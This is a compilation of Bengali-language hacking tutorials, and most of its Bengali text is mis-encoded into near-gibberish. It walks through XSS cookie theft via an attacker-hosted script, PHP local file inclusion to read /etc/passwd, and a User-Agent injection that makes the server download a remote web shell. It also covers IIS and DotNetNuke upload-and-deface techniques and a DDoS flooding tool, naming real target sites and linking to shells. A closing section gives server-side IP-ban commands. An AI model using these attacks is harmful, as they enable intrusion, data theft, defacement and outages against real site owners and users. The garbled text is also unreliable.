পদধসত ১ পরথম পদধসত হ িািআমটর ম িািব বমে injection করা একজন যাকায াধাযণত াআচছটয ভর াচব ফচছকস একটি malcious script কতরচছখ তাযযাচব ফাটচছন কতিক কচছয াচব সদযায াচছথ াচছথ malcious script টি চছযফাআচছট কাজ কযা শর কচছয সদয
http2bpblogspotcom-
8z5CXuZZpegTpgBgtdbdBIAAAAAAAAAsEqCTc_dxniWEs1600search+boxjpg
পদধসত ২ িািআমটর URL এ injection করা এটি সকান াচব ফচছকস কাজ কচছয না এটি শধ ভাতর াআচছটয URL এ কাজ কচছয থাচছক সমভনঃ- htpvulnerablewebsitesearchq=malicious_script_goes_here
যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন
এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-
পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন
সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=
এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable
যাপ ৩ Malicious Scripts মদো
Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ
এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ
httpattackerSitemaliciousjs
এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ
এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ
িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent
Persistent XSS
এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage
Non-Persistent XSS
এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily
একজি হযাকার এিআ Vulnerability সদমে সক কমর
কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা
চছযফ াআচছটয Bypassing restriction
Session Hijacking Malware Attack
Website Defacement Dos attacks
কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর
শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম
অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে
যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক
LFI
যাকাযচছদয
একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র
Local File Inclusionঅজ
অনাচছদয
াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য
পরথচছভ
কতনচছচয PHP সকাডগচছরা
সদখনhellip
$page=$_GET[page] include($page)
gt
উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক
কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ
wwwmywebsitecomindexphppage=productsphp
অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম
এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র
wwwmywebsitecomindexphppage=mypagephp
এখাচছন
সদচছখন mypagephp াতাটি
াবব াচছয
সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-
Warning
include() [functioninclude] Failed opening mypagephp for
inclusion
তাচছর
এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd
এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
এখন
অভযা পাআচছর
পরচছফ
কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip
wwwmywebsitecomindexphppage=products
এখাচছন
একটা কতজকতন রকষয করন সম
php এয
য page=products যচছযচছছ
এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র
$page=$_GET[page]
include($pagelsquophplsquo)
gt
এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpassd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip
etcprofile
etcservices
etcpasswd
etcshadow
etcgroup
etcsecuritygroup
etcsecuritypasswd
etcsecurityuser
etcsecurityenviron
etcsecuritylimits
usrlibsecuritymkuserdefault
এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ
------------------------------------------------------------------------------------------
hellipএবার িঅমরা হযাসকিং মদেবhellip
Requirements
1) Site vulnerable to LFI ( httpwwwsitecom)
2) Remoteshell( httpwwwyourhostingurshelltxt)
3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher
4) Mozilla Firefox Browser
পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা
Google ―Dork
indexphphomepage=
indexphppage=
indexphpindex2=
allinurlindexphppage=
অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন
সমভন
allinurlsitephpsite=
এফায ডক গগচছর কতদচছয াচব কতদন
অভযা
কতনচছছয ভত একটি াআট কতনরাভ
httpwwwfilllpgcoukindexphppage=contactsphp
এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ
httpwwwfilllpgcoukindexphppage=null
তাচছর নীচছচয ভত সদখাচছফ
If you see a list of errors running down the page or missing content
(pictures text etc) then the site is vulnerable and we may continue
otherwise just move on to the next site
Now were going to try and connect to a file which we know exists on Linux
servers etcpasswd
Since indexphp has the rights to connect to a file like contactsphp its
possible that the administrator has forgottten to restrict its access to other
files including the files containing sensitive data
Were going to try to read the file etcpasswd which contains data
on root users etc
অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত
াকতয নীচছচয ভত
এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ
httpwwwfilllpgcoukindexphppage=etcpasswd
মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান
েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG
etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয
httpwwwfilllpgcoukindexphppage=procselfenviron
েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG
এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent
ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip
েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG
এফায
অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর
অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন
েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG
এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং
User-Agent টি এখাচছন সি করন User-Agent এয Tools
ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন
তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন
েসব মদেি http2bpblogspotcom-
kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG
এফায
Ctrl+F সচচছ
―disable_functions খচছজ সফয করন
disable_functions
| no value | no value
এখন
অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান
Edit করন
এফায ―User-Agent টি কতযফতব ন কচছয কতরখন
httpwwwsh3llorgegytxt -O shellphp)gt[
এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]
এফায
এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক
েসব মদেি http3bpblogspotcom-
SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG
কতকছ
সডচছভা
াআট কতরংক কতদরাভ
কতকছ
াআট LFI httppastebinca2385927
কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ
httpwwwyoutubecomwatchv=FP229bKm5v4
httpwwwyoutubecomwatchv=9W9qWAhwaTo
httpwwwyoutubecomwatchv=hMguilRsteY
কাচছটব কত-কতনফবাকতচত টিউনাযtrade
অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ
সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত
অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয
উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ
WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-
00A0C90AB50F
কতরচছখ Enter চান
২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo
ছকতফ
৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address
Google Dork - ldquoPowered by IISrdquo
৪কতিক NextgtNextgtFinish
৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন
এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik
কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয
gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt
কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব
ফাংরা যাকতকং টিউচছটাকতযযার
পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন
ছকতফ
এফায Next ফাটচছন কতিক করন
ছকতফ
অফায Next করন
ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg
এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom
ছকতফ
অফায Next ফাটচছন কতিক করন
এফায Finish ফাটচছন কতিক করন
ছকতফ
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
